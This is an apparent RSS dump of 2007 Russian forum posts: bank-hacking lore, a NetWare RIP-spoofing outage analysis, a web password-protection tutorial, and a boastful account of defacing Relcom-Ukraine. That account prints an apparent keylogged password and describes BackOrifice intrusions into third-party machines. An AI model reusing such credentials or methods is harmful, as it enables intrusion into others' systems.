						&lt;p&gt;Задолго до того, как произошли всем известные события, несколько российских хакеров из Санкт-Петербурга проникло на BBS банка.Сделать это достаточно просто, пользуясь сетью Интернет. Операционной оболочкой в Сити Банке служила Unix, которая по словам одного из ХАКЕРОВ &amp;quot;является одной большой дырой, проникнуть через которую достаточно легко, если умеешь конечно&amp;quot;. Одним из тех,кто проник в банк был уже достаточно известный, благодаря журналу &amp;quot;Птюч&amp;quot;, хакер по имени Мегазоид. &lt;/p&gt;
						&lt;p&gt;Из pедакционного досье:&lt;br /&gt;На самом деле под этим именем скpывается один из самых талантливых пpогpаммистов Санкт-Петебуга.( более известная кличка Пpотозоид) Его достаточно часто можно встpетить в баpе &amp;quot; Fish Fabrique&amp;quot;, котоpый находится на Пушкинской улице. На контакт выйти с ним достаточно сложно. О сеpьезных делах пpедпочитает не говоpить. Хотя если напоить пивом, то сенсации вам обеспечены.&lt;br /&gt; &lt;/p&gt;
						&lt;p&gt;При этом, не стоит думать,что проник он туда с целью перевода себе каких-то денег,абсолютно нет. Просто хакеры- это такие люди, которым интересно посмотреть что там за чертой.( и об этом мы уже говоили во втоpой веpсии) Мегазоид находясь в банке нашел несколько &amp;quot;дыр&amp;quot; в системе защиты и некоторое время ходил по нему как по своему родному дому. Он даже смог пронаблюдать как работники банка переезжали с этажа на этаж и в спешке забыли дискету в одном из компьютеров, а потом три дня ее искали. Естественно,что администратор сети банка очень скоро заметил,что в системе есть кто-то посторонний. Причем сделал он такие выводы только по той причине, что Мегазоид, по сравнению с другими пользователями банка, сделал себе достаточно маленькие права. &lt;/p&gt;
						&lt;p&gt;Нащупав Мегазоида администратор немного удивился и начал активно выпихивать его из сети. В ответ, Мегазоид написал ему письмо с приблизительно следующим содержанием: Я бедный русский хакер из Питера,не трогайте меня, пожайлуста, а я вам за это покажу где у вас бреши в системе защиты. &lt;/p&gt;
						&lt;p&gt;На самом деле Мегазоид немного схитрил,он нашел несколько пробоин в системе,а рассказал только об одной. После того ,как он показал ,где находиться дыра в защите, администратор повел себя абсолютно не по-джентельменски,и элиментарно его вырубил . &lt;/p&gt;
						&lt;p&gt;В ответ на это Мегазоид зашел во вторую брешь и навестил его снова с пламенным приветом из Питера. &lt;/p&gt;
						&lt;p&gt;Наверное вам будет интересно узнать на какой машине работал в этот момент Мегазоид, если вы думаете,что это супернавороченный Пентиум, то вы глубоко ошибаетесь. На самом деле это был терминал,т.е. фактически один монитор с модемом. На жестком диске компьютера банка Мегазоид отвел себе немного места, на котором держал весь свой софт. &lt;/p&gt;
						&lt;p&gt;В один прекрасный момент Мегазоиду срочно потребовались деньги и он продал уже печально известному В.Левину за 100 долларов секрет проникновения через систему защиты банка. &lt;/p&gt;
						&lt;p&gt;а дальше.... &lt;/p&gt;
						&lt;p&gt;Дальше сpаботала либо пеpвая, либо втоpая, либо третья версия. После того, как поизошел веcь этот скандал компетентные оpганы нашего гоpода хоpошенько почистили всех наиболее известных хакеpов. До сих по в МВД, существует целый отдел, одной из задач котоpого как pаз и является отслеживание &amp;quot;электpонных&amp;quot; взломщиков. &lt;/p&gt;
						&lt;p&gt;Но как говоpится техническая мысль не стоит на месте, и навеpное скоpо мы услышим о новых ухищpениях хакеpов, котоpые как пить дать попытаются взломать еще чего-нибудь.&lt;/p&gt;</description>
			<author>mybb@mybb.ru (2525)</author>
			<pubDate>Wed, 05 Dec 2007 21:55:52 +0300</pubDate>
			<guid>https://viktoro2007.apbb.ru/viewtopic.php?pid=28#p28</guid>
		</item>
		<item>
			<title>Атака на отказ NetWare 4.xx</title>
			<link>https://viktoro2007.apbb.ru/viewtopic.php?pid=27#p27</link>
			<description>&lt;p&gt;Описанное здесь не является воплощением теоретических рассуждений в практику. Наоборот, происшедшие события стоили автору нескольких седых волос, а анализ ситуации привел к выводу о существовании одной достаточно эффективной атаки на отказ NetWare, кстати, осмелюсь предположить, не особенно сильно ;) описанной. (Если это не так, приношу свои извинения.) Аналог данной атаки, правда приближённый, существует с TCP/IP. &lt;/p&gt;
						&lt;p&gt;Внешние признаки&lt;br /&gt;В день Х юзеры пришли на работу и включили компьютеры. Примерно у двух десятков из них отказался загрузиться Windows9х. Подождав минут пять они стали нажимать кнопочки reset. После энных попыток загрузиться, юзеры, вздохнув с облегчением, повыключали свои аппараты и начали заниматься личными делами. Но один из них, чей компьютер находился рядом с моим, включив его с утра, куда-то ушёл. Комп &amp;quot;светил&amp;quot; черным экраном минут десять, потом вышел на запрос пароля NetWare. Придя на место, товарищ ввёл пароль, но не вошёл в сеть и, естественно, стал использовать комп в качестве простой пишущей машинки ;) Правда и там у него всё шло через пень-колоду. &lt;/p&gt;
						&lt;p&gt;Первый день всё было тихо, однако в последующем атмосфера начала накаляться... &lt;/p&gt;
						&lt;p&gt;Начало анализа ситуации&lt;br /&gt;Происходило в промежутках между ответами на постоянно поступавшие злобные телефонные звонки :( &lt;/p&gt;
						&lt;p&gt;Почти сразу стало понятно, что &amp;quot;залипуха&amp;quot; носит сетевой характер, т.к. выдернутый из сети комп загружался в момент. Также выяснилось, что страдальцами являются юзеры, использующие сервис именно одного конкретного, из многих Новелловских серверов. Облазил его, родимого снизу доверху - ну всё при нём, всё хорошо, режимы разные перепробовал, а коннект на него ну не идёт. &lt;/p&gt;
						&lt;p&gt;Завершение анализа ситуации (или зачем Админу, и не только ;), бывает полезен сниффер)&lt;br /&gt;Юзера уже несколько дней ходят - &amp;quot;груши околачивают&amp;quot;, а мне что - осталось только снести систему и ставить с нуля!? Не хочется, да и нет уверенности что поможет. &lt;/p&gt;
						&lt;p&gt;Всё! Решил. Лезу вглуПь. Фильтр в NetXray (сниффер такой:)) на клиентский комп настроил, &amp;quot;гляжу&amp;quot; через фильтр, как комп свой черный экран демонстрирует, потом, минут через 10, выходит на логин и не входит в сеть. Трассочку (обмен пакетами) собрал. Посмотрел на неё, ничего не понял, и собрал трассу с компа, который нормально заходит в сеть. &lt;/p&gt;
						&lt;p&gt;Что же я увидел при сравнении? Забегая вперёд - то, что мой родной сервачок абсолютно не причём, а присутствует в сети некий атакующий его объект. С этого момента описание пойдёт с использованием Новелловской конкретики. &lt;/p&gt;
						&lt;p&gt;Процесс входа в сеть NetWare при загрузке компьютера&lt;br /&gt;Описанное здесь происходит ещё до выхода на запрос логина. &lt;/p&gt;
						&lt;p&gt;Вот нормальный вход компа в сеть. Проинициализировав сетевую карту, он прежде всего выдал два широковещательных SAP пакета, попросив откликнуться все ближайшие сервера. Видим, как SAP пакетами ему ответили с десяток Новелловских серверов. Каждый из них, в своем пакете сообщил своё имя и свой НОМЕР ВНУТРЕННЕЙ СЕТИ (заметим, он должен быть уникальным, на этом строится Новелловская маршрутизация). Дальше коннектящийся комп на основе этой информации и информации, хранящейся в самом компе, сообразил, к какому серверу он прежде всего пойдёт (т.е. по сути это preferred server, либо возможно сервер, где у нашего компа размещены некие сетевые ресурсы - см. примечание в конце статьи). Теперь для него встал вопрос выбора маршрута (сеть ведь может быть многосегментной). Он решает проблему так. Даёт широковещательный RIP запрос - хочу маршрут на сервер с номером сети N (конкретное число). Ну ему серверки RIP&#039;ами отвечают - есть такой объект, только вот от меня до него 4 тика... (кто-то отвечает - 5 тиков, кто-то - 3 тика). В данном примере нужный ему сервер ответил - а у меня 2 тика (понятно, сам то я стою в том же сегменте, то есть до моей сетевой карты тик, и внутрь меня тик). То есть это я и есть :) Ну а дальше просто, маршрут до меня вообще тривиальный, устанавливай соединение через обмен NCP пакетами, затем проверим твой логин/пароль и всё ОК..... &lt;/p&gt;
						&lt;p&gt;А вот трасса с &amp;quot;несчастного&amp;quot; компа. &lt;/p&gt;
						&lt;p&gt;Залетает он в сеть, говорит - ближайшие, откликнитесь. &lt;/p&gt;
						&lt;p&gt;Новелловские серверы ему SAP&#039;ами - вот мы. Комп даёт широковещательный RIP - мне бы маршрут до сервера с внутренней сетью N. Они ему RIP&#039;ы типа: от меня до него 3 тика..., 5 тиков и.т.п. И наш серверок тоже отвечает - а у меня 2 тика! И вдруг...! Пакет RIP с некого объекта: а у меня тоже 2 тика, да и номер сетки моей - тоже N! &lt;/p&gt;
						&lt;p&gt;При анализе последовавшего за этим в голове возникает образ ослика (клиент NetWare), который стоит меж двух копен сена и издаёт лишь жалобное периодическое мычание (пакеты WDOG, WDOG, WDOG...). И заметьте, ни одного NCP для установления коннекции. В общем то его можно в чём то и понять, из двух одинаковых объектов надо однозначно выбрать один, а в Новелле его этому не учили :) &lt;/p&gt;
						&lt;p&gt;Через несколько минут опять - ближайшие, откликнитесь. Тот же ответ. И окончательно отчаявшись он начинает тыкаться через NCP во все подряд (кроме нужного) серверы. Типа - NCP, NCP... ну создай же service connection... На каждый сервер больше десятка NCP с солидными паузами. А время идёт... &lt;/p&gt;
						&lt;p&gt;Перебрав все соображает - баста, нет такого сервера :( И выходит на запрос логина уже со съехавшей крышей. &lt;/p&gt;
						&lt;p&gt;А теперь вопрос: кто был тот, кто послал битый RIP? Опущу детали дальнейшего вычисления типа объекта (он был сделан через анализ SAP пакетов) и вычисление конкретного компа через перехват его траффика. Короче, им оказался обычный НТ-ёвый сервер с поднятым IPX, админ которого (УУУХХХХ.......!!!) по чистой случайности присвоил его внутренней сети тот же номер N. Естественно, что НТ не откликался на новелловский SAP но откликался на RIP, сбивая маршрутизацию. &lt;/p&gt;
						&lt;p&gt;В заключение&lt;br /&gt;Данная ситуация создала сбои в работе сети благодаря тому, что в средствах диагностики и на консолях ни одного из Новелловских серверов не было сообщений об ошибке. Эту ситуацию я потом моделировал в том числе и с самыми последними Новелловскими клиентами (путём подпихивания атакующего НТ - сервера) - она остаётся. Описанная ситуация возникла случайным образом, однако, кто поручится, что подобный сбой маршрутизации не использует кто-то в деструктивных целях. &lt;/p&gt;
						&lt;p&gt;На всякий случай имейте господа сниффер под рукой и выбирайте номер сетки поэкзотичнее :-) &lt;/p&gt;
						&lt;p&gt;Примечание. Если компьютеру при загрузке не надо идти на атакуемый сервер, то он загрузится нормально, но при попытке логина на этот сервер, он туда не попадет.&lt;/p&gt;</description>
			<author>mybb@mybb.ru (2525)</author>
			<pubDate>Wed, 05 Dec 2007 21:53:19 +0300</pubDate>
			<guid>https://viktoro2007.apbb.ru/viewtopic.php?pid=27#p27</guid>
		</item>
		<item>
			<title>Ставим пароль на страницу</title>
			<link>https://viktoro2007.apbb.ru/viewtopic.php?pid=26#p26</link>
			<description>&lt;p&gt;Данная статья не претендует на какие-то откровения, все эти вещи достаточно очевидны и широко известны. Но получив за последнее время несколько вопросов об ограничении доступа к web-страницам, я решил свести ответы на них вместе. &lt;/p&gt;
						&lt;p&gt;Итак, наша задача - установить пароль на доступ к некоторой странице. Начнем с самого примитивного способа, если можно так сказать, защиты - нескольких строчек на JavaScript&#039;е. Код - что-то вроде &lt;/p&gt;
						&lt;p&gt;var pass = prompt(&amp;quot;Enter the Password:&amp;quot;, &amp;quot;&amp;quot;);&lt;br /&gt;if (pass == null)&lt;br /&gt;&amp;#160; window.location = &amp;quot;bad.html&amp;quot;;&lt;br /&gt;else if (pass.toLowerCase() == &amp;quot;wwvsfc&amp;quot;)&lt;br /&gt;&amp;#160; window.location = &amp;quot;ok.html&amp;quot;;&lt;br /&gt;else&lt;br /&gt;&amp;#160; window.location = &amp;quot;bad.html&amp;quot;;&lt;/p&gt;
						&lt;p&gt;Результат можно наблюдать, к примеру, здесь. Ухищрения наподобие скрытия скрипта в отдельном файле с помощью конструкции &amp;lt;SCRIPT SRC=&amp;quot;security.js&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt; принципиально ничего не меняют. &lt;br /&gt;Уровнем повыше расположена аналогичная система, реализованная на Java. &lt;/p&gt;
						&lt;p&gt;Ниже приведен упрощенный исходный код. &lt;/p&gt;
						&lt;p&gt;import java.applet.*;&lt;br /&gt;import java.awt.*;&lt;br /&gt;import java.net.*;&lt;/p&gt;
						&lt;p&gt;public class Password extends Applet&lt;br /&gt;{&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160;TextField login, password;&lt;br /&gt;&amp;#160; &amp;#160;String Login = &amp;quot;login&amp;quot;;&lt;br /&gt;&amp;#160; &amp;#160;String Password = &amp;quot;Password&amp;quot;;&lt;br /&gt;&amp;#160; &amp;#160;public Password()&lt;br /&gt;&amp;#160; &amp;#160;{&lt;br /&gt;&amp;#160; &amp;#160;}&lt;br /&gt;&amp;#160; &amp;#160;public void init()&lt;br /&gt;&amp;#160; &amp;#160;{&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; Panel panel = new Panel();&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; panel.setLayout(new GridLayout(2,2));&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; login = new TextField(20);&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; password = new TextField(20);&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; panel.add(new Label(&amp;quot;Login:&amp;quot;));&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; panel.add(login);&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; panel.add(new Label(&amp;quot;Password:&amp;quot;));&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; panel.add(password);&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; add(panel);&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; add(new Button(&amp;quot;Ok&amp;quot;));&lt;br /&gt;&amp;#160; &amp;#160;}&lt;br /&gt;&amp;#160; &amp;#160;public boolean action(Event evt, Object obj)&lt;br /&gt;&amp;#160; &amp;#160;{&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; if(evt.target instanceof Button)&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; {&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;String s;&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;if(login.getText().equals(Login) &amp;amp;&amp;amp; password.getText().equals(Password) )&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;{&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; s = &amp;quot;http://www.hackzone.ru/articles/ok.html&amp;quot;;&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;}&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;else&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;{&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; s = &amp;quot;http://www.hackzone.ru/articles/bad.html&amp;quot;;&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;}&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;try&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;{&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; getAppletContext().showDocument(new URL(s));&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;}&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;catch(Exception e)&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;{&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; password.setText(e.toString());&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;}&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;return true;&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; }&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; return false;&lt;br /&gt;&amp;#160; &amp;#160;}&lt;br /&gt;}&lt;/p&gt;
						&lt;p&gt;Включив этот апплет в страницу, можно получить нечто такое (во всех последующих примерах используются ok.html и bad.html от скрипта для выставления оценок статьям - ну лениво мне готовить еще какие-то страницы): &lt;/p&gt;
						&lt;p&gt;Password check&amp;#160; &lt;br /&gt;&amp;#160; &lt;/p&gt;
						&lt;p&gt;Его можно сделать поумнее, завести для каждого пользователя отдельную страницу, заставить считывать данные из файла и т.д. Принципиальный недостаток - после того как человек попал на искомую страницу, никто не в силах запретить ему запомнить этот URL, так что средство это одноразовое. Конечно, можно запрятать страницу внутрь фрейма, чтобы URL не светился в строке адреса, но сами понимаете, от кого эта защита. Опять же, апплет полностью уходит к клиенту и в принципе полностью доступен для исследования. &lt;/p&gt;
						&lt;p&gt;Последнего недостатка лишено решение, основанное на использовании CGI. Простенький скрипт на Perl&#039;е выглядит примерно так: &lt;/p&gt;
						&lt;p&gt;#!/usr/bin/perl&lt;br /&gt;use CGI qw(:standard);&lt;br /&gt;$query = new CGI;&lt;br /&gt;$ok = &#039;ok.html&#039;;&lt;br /&gt;$address = &#039;bad.html&#039;;&lt;br /&gt;$login = &amp;quot;login&amp;quot;;&lt;br /&gt;$password = &amp;quot;password&amp;quot;;&lt;br /&gt;$l = $query-&amp;gt;param(&amp;quot;login&amp;quot;);&lt;br /&gt;$p = $query-&amp;gt;param(&amp;quot;password&amp;quot;);&lt;br /&gt;if(($p eq $password) &amp;amp;&amp;amp; ($l eq $login))&lt;br /&gt;{&lt;br /&gt;&amp;#160; $address = $ok;&lt;br /&gt;}&lt;br /&gt;print $query-&amp;gt;redirect($address);&lt;/p&gt;
						&lt;p&gt;Пример использования:&lt;/p&gt;
						&lt;p&gt;Password check &lt;br /&gt;Login:&amp;#160; &lt;br /&gt;Старый пароль:&amp;#160; &lt;/p&gt;
						&lt;p&gt;&amp;#160; &lt;br /&gt; &lt;/p&gt;
						&lt;p&gt;Чтобы справиться с первым недостатком, можно динамически сформировать новую страницу на основе спрятанной где-то там внутри, не выдавая при этом URL. &lt;/p&gt;
						&lt;p&gt;Модифицированный код: &lt;/p&gt;
						&lt;p&gt;#!/usr/bin/perl&lt;br /&gt;use CGI qw(:standard);&lt;br /&gt;$query = new CGI;&lt;br /&gt;$ok = &#039;ok.html&#039;;&lt;br /&gt;$address = &#039;bad.html&#039;;&lt;br /&gt;$docroot = $ENV{&#039;DOCUMENT_ROOT&#039;};&lt;br /&gt;$localpath = &amp;quot;/articles/&amp;quot;;&lt;br /&gt;$login = &amp;quot;login&amp;quot;;&lt;br /&gt;$password = &amp;quot;password&amp;quot;;&lt;br /&gt;$l = $query-&amp;gt;param(&amp;quot;login&amp;quot;);&lt;br /&gt;$p = $query-&amp;gt;param(&amp;quot;password&amp;quot;);&lt;br /&gt;if(($p eq $password) &amp;amp;&amp;amp; ($l eq $login))&lt;br /&gt;{&lt;br /&gt;&amp;#160; $address = $ok;&lt;br /&gt;}&lt;br /&gt;print $query-&amp;gt;header();&lt;br /&gt;open (FL, $docroot.$localpath.$address);&lt;br /&gt;while(&amp;lt;FL&amp;gt;)&lt;br /&gt;{&lt;br /&gt;# Здесь заодно можно на лету модифицировать html-код&lt;br /&gt;# Зачем ? Ну мало ли... :)&lt;br /&gt;&amp;#160; print $_;&lt;br /&gt;}&lt;br /&gt;close (FL);&lt;/p&gt;
						&lt;p&gt;Пример использования:&lt;/p&gt;
						&lt;p&gt;Password check &lt;br /&gt;Login:&amp;#160; &lt;br /&gt;Старый пароль:&amp;#160; &lt;/p&gt;
						&lt;p&gt;&amp;#160; &lt;br /&gt; &lt;/p&gt;
						&lt;p&gt;Как видно, URL файла уже не светится, правда ценой SSI (впрочем, их как раз можно отлавливать при выводе и обрабатывать вручную). Но и здесь остается теоретическая возможность угадывания URL, при этом не надо забывать, что медвежью услугу могут сослужить всевозможные картинки, включаемые в страницы - при использовании относительных путей, конечно. &lt;/p&gt;
						&lt;p&gt;Наконец, наиболее надежный способ установки пароля на доступ - это воспользоваться средствами сервера - не зря ж их люди делали, в конце концов. Остановлюсь на двух - Апаче как самом популярном и IIS как тоже популярном :) &lt;/p&gt;
						&lt;p&gt;С IIS все совсем просто - защита осуществляется средствами NTFS, что, конечно, несколько ограничивает возможности не-администраторов сервера. Идея следующая: у пользователя IUSR_xxxx, под аккаунтом которого по умолчанию работают все посетители узла, отбирается доступ к желаемому файлу/каталогу. После чего доступ к этим файлам будут иметь только те пользователи, для которых это явно указано в Properties-&amp;gt;Security. Понятно, что их гораздо удобнее объединять в группы. Здесь есть пара тонкостей. Во-первых, указанным пользователям должно быть дано право Logon locally (Policies-&amp;gt;User Rights в User Manager&#039;е). Во-вторых, если не выбрать в настройках WWW service Basic authentication (Clear Text), внутрь будут пропущены только пользователи Internet Explorer&#039;а. &lt;/p&gt;
						&lt;p&gt;В Apache все делается несколько иначе. Защита ставится на уровне каталогов. Соответствующие директивы могут быть помещены как в в общий конфигурационный файл (в разделе &amp;lt;Directory&amp;gt;), так и в файлы .htaccess. Набор директив в обоих случаях одинаков, а для большинства людей, арендующих место под сайт/страницу на чужом сервере, гораздо актуальнее второй способ. Итак, вы создаете в каталоге, доступ к которому планируется ограничить, файл .htaccess, после чего вставляете в него следующие директивы (привожу основные): &lt;/p&gt;
						&lt;p&gt;AuthType тип контроля - обычно используется Basic. &lt;/p&gt;
						&lt;p&gt;AuthName имя - задает имя области, в которой действительны имена и пароли пользователей. Это то самое имя, которое броузер показывает в диалоге ввода пароля. Задав одно такое имя для разных каталогов, можете сэкономить пользователям время по вводу лишнего пароля. &lt;/p&gt;
						&lt;p&gt;AuthGroupFile имя - задает имя файла, в котором хранятся имена групп и их членов. Его формат: &lt;br /&gt;group1: member1 member2 ... &lt;br /&gt;group2: member3 member4 ... &lt;/p&gt;
						&lt;p&gt;AuthUserFile имя - задает имя файла с паролями. По большому счету для его формирования надо воспользоваться утилитой htpasswd из поставки Apache. Но по крайней мере для некоторых версий сервера этот формат такой: &lt;br /&gt;user1:passwordhash1 &lt;br /&gt;user2:passwordhash2 &lt;/p&gt;
						&lt;p&gt;Passwordhash вполне можно получить стандартной функцией Perl&#039;а: &lt;br /&gt;$hash=crypt($pass,$salt); &lt;br /&gt;где $pass - пароль, $salt - строка из двух символов, участвующая в формировании хэша. &lt;/p&gt;
						&lt;p&gt;Так что вполне можно автоматизировать процесс добавления новых пользователей, смену паролей через html-формы и т.д. &lt;/p&gt;
						&lt;p&gt;require user user1 user2 и require group user1 user2 позволяют указать, какие пользователи и группы получат доступ к данному каталогу. &lt;/p&gt;
						&lt;p&gt;require valid-user разрешает доступ всем пользователям, указанным в файле паролей системы. &lt;/p&gt;
						&lt;p&gt;&amp;lt;Limit method1 method2 ...&amp;gt; ... &amp;lt;/Limit&amp;gt; , где methodi определяет HTTP-метод. Например, &amp;lt;Limit GET POST&amp;gt; ограничивает применение вложенных в нее директив случаями использования методов GET и POST (обычно этого более чем достаточно). Вложенными могут быть директивы require, order, allow и deny. &lt;/p&gt;
						&lt;p&gt;Еще пара полезных директив - deny и allow - соответственно запрещения и разрешения доступа. Применяются примерно так: &lt;br /&gt;deny from all &lt;br /&gt;allow from 192.168 &lt;/p&gt;
						&lt;p&gt;По умолчанию сначала выполняются все deny, потом все allow, так что allow from all разрешит доступ всем пользователям, не взирая ни на какие deny. Порядок можно изменить директивой order: order allow, deny. &lt;/p&gt;
						&lt;p&gt;deny from all отлично сочетается со вторым способом защиты страниц через CGI, именно этой директивой лучше всего прикрывать всякие пароли к гостевым книгам и т.д. При попытке обращения к страницам из этого каталога пользователь получит нечто такое. &lt;/p&gt;
						&lt;p&gt;Кстати, тут между делом демонстрируется самостоятельная обработка ошибок: в данном случае - код 403, Forbidden. Аналогично обрабатывается и всеми любимая 404, Not Found, и 401, Unauthorized. Для этого достаточно добавить в .htaccess директиву ErrorDocument код url: &lt;br /&gt;ErrorDocument 404 /cgi-bin/bad.pl &lt;br /&gt;ErrorDocument 403 /cgi-bin/badaccess.pl &lt;br /&gt;ErrorDocument 401 /cgi-bin/badaccess.pl &lt;/p&gt;
						&lt;p&gt;Все, что делает скрипт - формирует сообщение об ошибке, используя переменную окружения REQUEST_URI, так что всместо него вполне можно просто указать какую-нибудь подходящую страницу. &lt;/p&gt;
						&lt;p&gt;Для заключительного примера используем файл .htaccess со следующим содержимым: &lt;/p&gt;
						&lt;p&gt;AuthType Basic&lt;br /&gt;AuthName Test&lt;br /&gt;AuthGroupFile /my/local/path/tgroup&lt;br /&gt;AuthUserFile /my/local/path/tuser&lt;br /&gt;&amp;lt;Limit GET POST&amp;gt;&lt;br /&gt;require group test&lt;br /&gt;&amp;lt;/Limit&amp;gt;&lt;/p&gt;
						&lt;p&gt;В файле tgroup всего одна строчка - test: login test, в файле tuser - зашифрованные пароли для login (password) и test (test). Результат можете оценить здесь. Обратите внимание, при повторном обращении к этой странице броузер понимает, что только что обращался к этой области, и не утруждает пользователя лишним запросом пароля. &lt;/p&gt;
						&lt;p&gt;Таков вкратце минимальный набор сведений, необходимых для защиты web-страниц. Как показывает практика, более-менее доверять стоит лишь решениям, основанным на средствах, предоставляемых сервером (и то до тех пор, пока в сервере не обнаружится очередная дырка), так что если есть возможность, лучше выбирать именно их.&lt;/p&gt;</description>
			<author>mybb@mybb.ru (2525)</author>
			<pubDate>Wed, 05 Dec 2007 21:52:04 +0300</pubDate>
			<guid>https://viktoro2007.apbb.ru/viewtopic.php?pid=26#p26</guid>
		</item>
		<item>
			<title>Как был взломан &quot;Релком-Украина&quot;</title>
			<link>https://viktoro2007.apbb.ru/viewtopic.php?pid=25#p25</link>
			<description>&lt;p&gt;(первый и до сих пор один из крупнейших украинских провайдеров)&lt;/p&gt;
						&lt;p&gt; Это произошло в субботу, 19 сентября в 12.00. Мы всего лишь сменили гордость Релкома - www - на то, чем вы можете любоваться до сих пор здесь (за что спасибо Д. Леонову). &lt;/p&gt;
						&lt;p&gt;Надо сказать, что Релком-Украина известен параноидальной любовью к безопасности своих машин. С год тому назад на их машинах какая-то западная поисковая система засекла файлы с детской порнографией (видно просто сопоставили имя+размер уже имеющихся в коллекции ФБР картинок); с тех пор там любой работающий в шелле каждые 10 мин вводит &amp;quot;last -20&amp;quot;. &lt;/p&gt;
						&lt;p&gt;Часть кейлога с виндоуз-машины Релкома:&lt;/p&gt;
						&lt;p&gt;…toc[RETURN]sasha[RETURN]octybj89[RETURN]last -20 uueurostt[RETURN]last -20 &lt;br /&gt;uueurost[RETURN]last –20&lt;br /&gt;Собственно, взлом то был чисто дружеским. Мы не хотели &amp;quot;убивать&amp;quot; Релком. Никакая информация не была стерта (лишь файл index.html был переименован в suxxx.htm), не были выведены из строя роутеры, да и оперативность, с которой починили сайт (1,5 часа) говорит не о &amp;quot;шустрости&amp;quot; админов, а о том, что мы не усложняли им задачу. &lt;/p&gt;
						&lt;p&gt;Вам не терпится узнать как же это мы ухитрились взломать чуть ли не самого защищенного провайдера Украины ? Все очень просто: люди, уделявшие особое внимание Unix серверам совсем забыли о том, что существуют открытые рабочие станции под Windows с реальными ИП-шниками.&lt;/p&gt;
						&lt;p&gt;Л&lt;br /&gt;и&lt;br /&gt;р&lt;br /&gt;и&lt;br /&gt;ч&lt;br /&gt;е&lt;br /&gt;с&lt;br /&gt;к&lt;br /&gt;о&lt;br /&gt;е&lt;/p&gt;
						&lt;p&gt;о&lt;br /&gt;т&lt;br /&gt;с&lt;br /&gt;т&lt;br /&gt;у&lt;br /&gt;п&lt;br /&gt;л&lt;br /&gt;е&lt;br /&gt;н&lt;br /&gt;и&lt;br /&gt;е Этим летом, когда вышел BackOrifice, я написал скромненький сканер, который проверял 31337 порт на предмет BO. Запустил его на ночь. На следующее утро я получил от провайдера сообщение типа &amp;quot;еще одно письмо с угрозой расправы за попытки сканирования сетей и я закрываю вам все UDP порты на выход&amp;quot;. Ну что ж... Я порылся в своем ночном &amp;quot;улове&amp;quot;, а в каждой подсетке C оказалось по 10-15 зараженных машин, и свил себе гнездо в одном скромном институтском компьютере далекого города. Надо сказать, что BO я значительно переделал расширив возможности. Теперь сканирование сетей шло с удаленного компьютера. Подсетки я выбирал чисто случайно. Без определенной цели. Среди улова была машина (насколько я понял финансового директора) предприятия, выпускающего навигационное оборудование для оборонной промышленности РФ. Папка &amp;quot;Мои документы&amp;quot; имела следующее содержание: &lt;br /&gt;Contents of directory &#039;c:\мои документы\*.*&#039;:&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160;0 D------ 11-11-96 09:21 .&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160;0 D------ 11-11-96 09:21 ..&lt;br /&gt; 16384 -A----- 02-20-98 16:59 Salary.xls&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160;0 D------ 06-24-98 13:13 Gyrocompass&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160;0 D------ 03-03-97 11:33 Отчеты&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160;0 D------ 03-03-97 11:32 Планы&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160;0 D------ 07-02-98 14:37 VISTA&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160;0 D------ 03-26-97 15:13 Ходатайства&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160;0 D------ 05-08-98 13:53 Картинки&lt;br /&gt; 20480 -A----- 12-16-97 15:00 График отпусков 1998.doc&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160;0 D------ 07-14-98 16:24 радио&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160;0 D------ 03-12-97 09:04 labels&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160;0 D------ 07-02-98 09:20 Гироскопы&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160;0 D------ 03-24-97 12:25 Обоснования&lt;br /&gt; 52224 -A----- 07-15-98 16:07 bins.doc&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160;0 